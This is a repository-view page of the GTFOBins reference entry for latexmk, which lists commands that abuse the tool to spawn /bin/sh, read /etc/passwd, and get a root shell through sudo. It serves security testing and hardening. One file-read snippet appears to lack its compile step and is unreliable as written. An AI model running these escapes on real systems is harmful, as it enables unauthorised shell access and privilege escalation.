1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/latexmk.md

20 lines
599 B
Markdown
Raw Normal View History

2022-07-03 17:33:51 +02:00
---
description: This allows to execute [`perl`](/gtfobins/perl/) code.
2021-04-22 22:15:40 +02:00
functions:
shell:
2022-07-03 17:33:51 +02:00
- code: |
latexmk -e 'exec "/bin/sh";'
- code: |
latexmk -latex='/bin/sh #' /dev/null
2021-04-22 22:15:40 +02:00
file-read:
2022-07-03 17:33:51 +02:00
- code: |
latexmk -e 'open(X,"/etc/passwd");while(<X>){print $_;}exit'
- description: The read file will be part of the output.
code: |
TF=$(mktemp)
echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}' >$TF
strings tmp.dvi
2021-04-22 22:15:40 +02:00
sudo:
- code: sudo latexmk -e 'exec "/bin/sh";'
2022-07-03 17:33:51 +02:00
---